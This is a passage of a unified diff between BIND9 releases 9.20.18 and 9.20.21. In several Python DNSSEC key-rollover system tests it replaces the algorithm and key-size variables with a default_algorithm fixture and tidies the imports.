configure_root, - configure_tld, -) +import isctest def setup_zone(zone, ksk_time, ksk_settime, zsk_time, zsk_settime) -> Zone: templates = isctest.template.TemplateEngine(".") - alg = default_algorithm() - keygen = EnvCmd("KEYGEN", f"-q -a {alg.number} -b {alg.bits} -L 3600") + default_algorithm = Algorithm.default() + keygen = EnvCmd( + "KEYGEN", + f"-q -a {default_algorithm.number} -b {default_algorithm.bits} -L 3600", + ) signer = EnvCmd("SIGNER", "-S -g") settime = EnvCmd("SETTIME", "-s") @@ -109,10 +108,8 @@ POLICY = "manual-rollover" -def test_rollover_manual(ns3): +def test_rollover_manual(ns3, default_algorithm): ttl = int(CONFIG["dnskey-ttl"].total_seconds()) - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] zone = "manual-rollover.kasp" isctest.kasp.wait_keymgr_done(ns3, zone) @@ -120,8 +117,8 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) @@ -168,9 +165,9 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) @@ -210,10 +207,10 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk unlimited {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) @@ -234,10 +231,8 @@ assert "key is not actively signing" in response.out -def test_rollover_manual_zrrsig_rumoured(ns3): +def test_rollover_manual_zrrsig_rumoured(ns3, default_algorithm): ttl = int(CONFIG["dnskey-ttl"].total_seconds()) - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] zone = "manual-rollover-zrrsig-rumoured.kasp" isctest.kasp.wait_keymgr_done(ns3, zone) @@ -247,8 +242,8 @@ koffset = -int(timedelta(days=7).total_seconds()) zoffset = -int(timedelta(hours=2).total_seconds()) key_properties = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{koffset}", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{zoffset}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{koffset}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{zoffset}", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) @@ -276,10 +271,10 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{koffset}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{koffset}", # Predecessor DNSKEY must stay until successor ZSK is fully omnipresent. - f"zsk unlimited {alg} {size} goal:hidden dnskey:omnipresent zrrsig:rumoured offset:{zoffset}", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden offset:0", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:rumoured offset:{zoffset}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden offset:0", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) diff -Nru bind9-9.20.18/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_initial.py bind9-9.20.21/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_initial.py --- bind9-9.20.18/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_initial.py 2026-01-09 13:39:28.160974264 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_initial.py 2026-03-13 22:01:10.703877283 +0000 @@ -9,24 +9,15 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.util import param -from rollover.common import ( - pytestmark, - CDSS, - DURATION, - TIMEDELTA, - ALGOROLL_CONFIG, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_algo_csk, -) +from rollover.common import ALGOROLL_CONFIG, CDSS, DURATION, ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_algo_csk, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK POLICY = "csk-algoroll" diff -Nru bind9-9.20.18/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_reconfig.py bind9-9.20.21/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_reconfig.py --- bind9-9.20.18/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_reconfig.py 2026-01-09 13:39:28.160974264 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_reconfig.py 2026-03-13 22:01:10.703877283 +0000 @@ -9,18 +9,11 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.kasp import KeyTimingMetadata from isctest.util import param from rollover.common import ( - pytestmark, - alg, - size, - CDSS, ALGOROLL_CONFIG, ALGOROLL_IPUB, ALGOROLL_IPUBC, @@ -29,14 +22,16 @@ ALGOROLL_KEYTTLPROP, ALGOROLL_OFFSETS, ALGOROLL_OFFVAL, + CDSS, DURATION, + ROLLOVER_MARK, TIMEDELTA, ) -from rollover.setup import ( - configure_root, - configure_tld, - configure_algo_csk, -) +from rollover.setup import configure_algo_csk, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CONFIG = ALGOROLL_CONFIG POLICY = "csk-algoroll" @@ -90,7 +85,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step1(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step1(tld, ns3, default_algorithm): zone = f"step1.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -131,7 +126,7 @@ # The RSASHA keys are outroducing. f"csk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFVAL}", # The ECDSAP256SHA256 keys are introducing. - f"csk 0 {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], # Next key event is when the ecdsa256 keys have been propagated. "nextev": ALGOROLL_IPUB, @@ -146,7 +141,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step2(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step2(tld, ns3, default_algorithm): zone = f"step2.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -164,7 +159,7 @@ f"csk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFVAL}", # The ECDSAP256SHA256 keys are introducing. The DNSKEY RRset is # omnipresent, but the zone signatures are not. - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:hidden offset:{ALGOROLL_OFFSETS['step2']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:hidden offset:{ALGOROLL_OFFSETS['step2']}", ], # Next key event is when all zone signatures are signed with the # new algorithm. This is the child publication interval, minus @@ -183,7 +178,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step3(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step3(tld, ns3, default_algorithm): zone = f"step3.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -196,7 +191,7 @@ "cdss": CDSS, "keyprops": [ f"csk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step3']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step3']}", ], "manual-mode": True, "nextev": None, @@ -236,7 +231,7 @@ "keyprops": [ # The DS can be swapped. f"csk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:unretentive offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{ALGOROLL_OFFSETS['step3']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{ALGOROLL_OFFSETS['step3']}", ], # Next key event is when the DS becomes OMNIPRESENT. This happens # after the publication interval of the parent side. @@ -252,7 +247,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step4(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step4(tld, ns3, default_algorithm): zone = f"step4.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -265,7 +260,7 @@ "cdss": CDSS, "keyprops": [ f"csk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", ], "manual-mode": True, "nextev": None, @@ -291,7 +286,7 @@ "keyprops": [ # The old DS is HIDDEN, we can remove the old algorithm records. f"csk 0 8 2048 goal:hidden dnskey:unretentive krrsig:unretentive zrrsig:unretentive ds:hidden offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", ], # Next key event is when the old DNSKEY becomes HIDDEN. # This happens after the DNSKEY TTL plus zone propagation delay. @@ -307,7 +302,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step5(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step5(tld, ns3, default_algorithm): zone = f"step5.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -321,7 +316,7 @@ "keyprops": [ # The DNSKEY becomes HIDDEN. f"csk 0 8 2048 goal:hidden dnskey:hidden krrsig:hidden zrrsig:unretentive ds:hidden offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", ], # Next key event is when the RSASHA signatures become HIDDEN. # This happens after the max-zone-ttl plus zone propagation delay @@ -341,7 +336,7 @@ param("manual"), ], ) -def test_algoroll_csk_reconfig_step6(tld, ns3, alg, size): +def test_algoroll_csk_reconfig_step6(tld, ns3, default_algorithm): zone = f"step6.csk-algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -355,7 +350,7 @@ "keyprops": [ # The zone signatures are now HIDDEN. f"csk 0 8 2048 goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{ALGOROLL_OFFVAL}", - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", ], # Next key event is never since we established the policy and the # keys have an unlimited lifetime. Fallback to the default diff -Nru bind9-9.20.18/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_initial.py bind9-9.20.21/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_initial.py --- bind9-9.20.18/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_initial.py 2026-01-09 13:39:28.160974264 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_initial.py 2026-03-13 22:01:10.704877251 +0000 @@ -9,24 +9,15 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=unused-import - import pytest -import isctest from isctest.util import param -from rollover.common import ( - pytestmark, - CDSS, - DURATION, - TIMEDELTA, - ALGOROLL_CONFIG, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_algo_ksk_zsk, -) +from rollover.common import ALGOROLL_CONFIG, CDSS, DURATION, ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_algo_ksk_zsk, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK def bootstrap(): diff -Nru bind9-9.20.18/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_reconfig.py bind9-9.20.21/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_reconfig.py --- bind9-9.20.18/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_reconfig.py 2026-01-09 13:39:28.160974264 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_reconfig.py 2026-03-13 22:01:10.704877251 +0000 @@ -9,18 +9,11 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.kasp import KeyTimingMetadata from isctest.util import param from rollover.common import ( - pytestmark, - alg, - size, - CDSS, ALGOROLL_CONFIG, ALGOROLL_IPUB, ALGOROLL_IPUBC, @@ -29,14 +22,16 @@ ALGOROLL_KEYTTLPROP, ALGOROLL_OFFSETS, ALGOROLL_OFFVAL, + CDSS, DURATION, + ROLLOVER_MARK, TIMEDELTA, ) -from rollover.setup import ( - configure_root, - configure_tld, - configure_algo_ksk_zsk, -) +from rollover.setup import configure_algo_ksk_zsk, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CONFIG = ALGOROLL_CONFIG POLICY = "ecdsa256" @@ -88,7 +83,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step1(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step1(tld, ns3, default_algorithm): zone = f"step1.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -133,8 +128,8 @@ f"ksk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFVAL}", # The ECDSAP256SHA256 keys are introducing. - f"ksk 0 {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ], # Next key event is when the ecdsa256 keys have been propagated. "nextev": ALGOROLL_IPUB, @@ -149,7 +144,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step2(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step2(tld, ns3, default_algorithm): zone = f"step2.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -168,8 +163,8 @@ f"zsk 0 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFVAL}", # The ECDSAP256SHA256 keys are introducing. The DNSKEY RRset is # omnipresent, but the zone signatures are not. - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step2']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{ALGOROLL_OFFSETS['step2']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step2']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{ALGOROLL_OFFSETS['step2']}", ], # Next key event is when all zone signatures are signed with the new # algorithm. This is the max-zone-ttl plus zone propagation delay. But @@ -188,7 +183,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step3(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step3(tld, ns3, default_algorithm): zone = f"step3.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -202,8 +197,8 @@ "keyprops": [ f"ksk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step3']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step3']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFSETS['step3']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step3']}", ], "manual-mode": True, "nextev": None, @@ -244,8 +239,8 @@ # The DS can be swapped. f"ksk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{ALGOROLL_OFFSETS['step3']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step3']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{ALGOROLL_OFFSETS['step3']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step3']}", ], # Next key event is when the DS becomes OMNIPRESENT. This happens # after the retire interval. @@ -261,7 +256,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step4(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step4(tld, ns3, default_algorithm): zone = f"step4.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -275,8 +270,8 @@ "keyprops": [ f"ksk 0 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", ], "manual-mode": True, "nextev": None, @@ -306,8 +301,8 @@ # The old DS is HIDDEN, we can remove the old algorithm records. f"ksk 0 8 2048 goal:hidden dnskey:unretentive krrsig:unretentive ds:hidden offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:unretentive zrrsig:unretentive offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step4']}", ], # Next key event is when the old DNSKEY becomes HIDDEN. # This happens after the DNSKEY TTL plus zone propagation delay. @@ -323,7 +318,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step5(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step5(tld, ns3, default_algorithm): zone = f"step5.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -338,8 +333,8 @@ # The DNSKEY becomes HIDDEN. f"ksk 0 8 2048 goal:hidden dnskey:hidden krrsig:hidden ds:hidden offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:hidden zrrsig:unretentive offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step5']}", ], # Next key event is when the RSASHA signatures become HIDDEN. # This happens after the max-zone-ttl plus zone propagation delay @@ -359,7 +354,7 @@ param("manual"), ], ) -def test_algoroll_ksk_zsk_reconfig_step6(tld, ns3, alg, size): +def test_algoroll_ksk_zsk_reconfig_step6(tld, ns3, default_algorithm): zone = f"step6.algorithm-roll.{tld}" policy = f"{POLICY}-{tld}" @@ -374,8 +369,8 @@ # The zone signatures are now HIDDEN. f"ksk 0 8 2048 goal:hidden dnskey:hidden krrsig:hidden ds:hidden offset:{ALGOROLL_OFFVAL}", f"zsk 0 8 2048 goal:hidden dnskey:hidden zrrsig:hidden offset:{ALGOROLL_OFFVAL}", - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", - f"zsk 0 {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{ALGOROLL_OFFSETS['step6']}", ], # Next key event is never since we established the policy and the # keys have an unlimited lifetime. Fallback to the default diff -Nru bind9-9.20.18/bin/tests/system/rollover-csk-roll1/tests_rollover_csk_roll1.py bind9-9.20.21/bin/tests/system/rollover-csk-roll1/tests_rollover_csk_roll1.py --- bind9-9.20.18/bin/tests/system/rollover-csk-roll1/tests_rollover_csk_roll1.py 2026-01-09 13:39:28.161974290 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-csk-roll1/tests_rollover_csk_roll1.py 2026-03-13 22:01:10.704877251 +0000 @@ -9,26 +9,18 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta import pytest -import isctest from isctest.kasp import Ipub, Iret from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - TIMEDELTA, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_cskroll1, -) +from rollover.common import ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_cskroll1, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CDSS = ["CDNSKEY", "CDS (SHA-384)"] CONFIG = { @@ -100,7 +92,7 @@ param("manual"), ], ) -def test_csk_roll1_step1(tld, ns3, alg, size): +def test_csk_roll1_step1(tld, ns3, default_algorithm): zone = f"step1.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -114,7 +106,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", ], # Next key event is when the successor CSK needs to be published # minus time already elapsed. This is Lcsk - Ipub + Dreg (we ignore @@ -131,7 +123,7 @@ param("manual"), ], ) -def test_csk_roll1_step2(tld, alg, size, ns3): +def test_csk_roll1_step2(tld, ns3, default_algorithm): zone = f"step2.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -143,7 +135,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", ], "manual-mode": True, "nextev": None, @@ -172,8 +164,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent 